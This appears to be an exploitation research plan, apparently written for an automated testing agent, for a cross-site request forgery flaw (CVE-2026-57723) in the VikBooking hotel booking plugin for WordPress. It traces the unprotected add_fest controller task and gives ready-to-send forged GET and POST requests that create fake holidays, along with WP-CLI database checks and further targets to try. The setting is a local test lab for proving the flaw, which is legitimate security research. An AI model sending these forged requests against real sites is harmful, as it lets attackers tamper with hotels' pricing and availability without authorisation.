Exploitation Research Plan: CVE-2026-57723 (VikBooking CSRF)

1. Vulnerability Summary

The VikBooking Hotel Booking Engine & PMS plugin for WordPress (versions <= 1.8.12) contains a Cross-Site Request Forgery (CSRF) vulnerability. The administrative controller VikBookingController in admin/controller.php fails to implement nonce validation (e.g., check_admin_referer) on several state-changing tasks. Specifically, the add_fest method allows for the unauthorized creation of "festivities" (special dates/holidays that affect pricing or availability) in the booking engine.

2. Attack Vector Analysis

• Target Endpoint: /wp-admin/admin.php
• Hook/Action: The plugin uses a Joomla-style controller pattern. Tasks are dispatched via the page and task parameters.
• Vulnerable Task: add_fest
• Parameters:
  • page: The administrative page slug (typically vikbooking_dashboard or vikbooking (inferred)).
  • task: add_fest
  • dt: The date of the festivity (format: Y-m-d).
  • name: The name of the festivity.
  • type: The type of festivity (defaults to custom).
  • descr: A description for the festivity.
• Authentication: Requires a logged-in Administrator to be the victim of the forged request.
• Preconditions: The attacker must know or guess the admin page slug for VikBooking.

3. Code Flow

1. Entry Point: A request is made to wp-admin/admin.php?page=[SLUG]&task=add_fest.
2. Dispatcher: WordPress loads the plugin's admin page handler, which instantiates VikBookingController (found in admin/controller.php).
3. Task Execution: The add_fest() method is invoked.
4. Input Processing:
   • VikRequest::getString('dt', ...) retrieves the date.
   • VikRequest::getString('name', ...) retrieves the name.
   • The code validates that name and dt are not empty (lines 144-146).
5. Sink:
   • VikBooking::getFestivitiesInstance()->storeFestivity($dt, $new_fest, $type, $descr) is called (line 154).
   • This writes the new festivity data directly to the database without any check_admin_referer() or nonce check.

4. Nonce Acquisition Strategy

This vulnerability is characterized by missing nonce validation. Therefore, no nonce is required to successfully exploit the add_fest task.

If a nonce were required but "incorrectly" implemented, the agent would:

1. Navigate to the VikBooking dashboard: wp-admin/admin.php?page=vikbooking_dashboard.
2. Use browser_eval to search for localized script data (e.g., window.vbo_data?.nonce).
3. However, based on admin/controller.php, the method add_fest performs no check at all, making it a "Zero-Nonce" exploit.

5. Exploitation Strategy

The goal is to demonstrate that an unauthenticated attacker can force an administrator to add a festivity that could disrupt hotel availability or pricing.

Step 1: Discover Admin Slug

The agent should first identify the correct menu slug for the plugin.

# Use WP-CLI to find the slug
wp menu list --allow-root
# Or search for add_menu_page in the source (outside of provided snippets)

Assumption: The slug is vikbooking_dashboard.

Step 2: Forge the Request

Using the http_request tool, simulate the CSRF attack. Since VikRequest::getString uses the 'request' source, it accepts both GET and POST.

Request Payload (GET):

• URL: http://localhost:8080/wp-admin/admin.php?page=vikbooking_dashboard&task=add_fest&dt=2025-12-25&name=CSRF_HOLIDAY&type=custom&descr=Created_via_CSRF
• Method: GET
• Headers: Use cookies of a logged-in administrator.

Request Payload (POST - More realistic for CSRF):

• URL: http://localhost:8080/wp-admin/admin.php?page=vikbooking_dashboard
• Method: POST
• Body (URL-Encoded): task=add_fest&dt=2025-12-25&name=CSRF_HOLIDAY&type=custom&descr=Created_via_CSRF
• Headers: Content-Type: application/x-www-form-urlencoded

6. Test Data Setup

1. Plugin Installation: Ensure vikbooking version 1.8.12 is installed and active.
2. Administrator Session: Ensure the execution agent has the session cookies for a user with administrator privileges.
3. No existing fests: Clear existing festivities for the target date to ensure a clean verification.

7. Expected Results

• The server should return a 200 OK response.
• The response body will likely contain JSON starting with {"html":... as seen in the latter part of the controller (lines 161+), though truncated in the snippet.
• The festivity "CSRF_HOLIDAY" should be present in the plugin's internal registry.

8. Verification Steps

After sending the http_request, verify the impact via WP-CLI or database check:

# Check the database for the new entry
wp db query "SELECT * FROM wp_vikbooking_fests WHERE name LIKE '%CSRF_HOLIDAY%';" --allow-root

# Alternatively, check if the festivity appears in the plugin's options/meta if stored there
wp option get vikbooking_fests --allow-root

9. Alternative Approaches

If add_fest is protected by a global check not visible in the snippet, attempt to exploit donut_charts_data (line 62). While primarily a GET request for data, if it were to log access or update "last viewed" stats, it could be used for CSRF, though add_fest is a much stronger proof of "Unauthorized Action" (Integrity impact).

Another target is the e-invoicing driver settings seen in admin/helpers/einvoicing/drivers/mydata_aade.php. If the vboSetFilters JS function triggers an AJAX call back to admin-ajax.php without a nonce, settings like excludebid could be manipulated.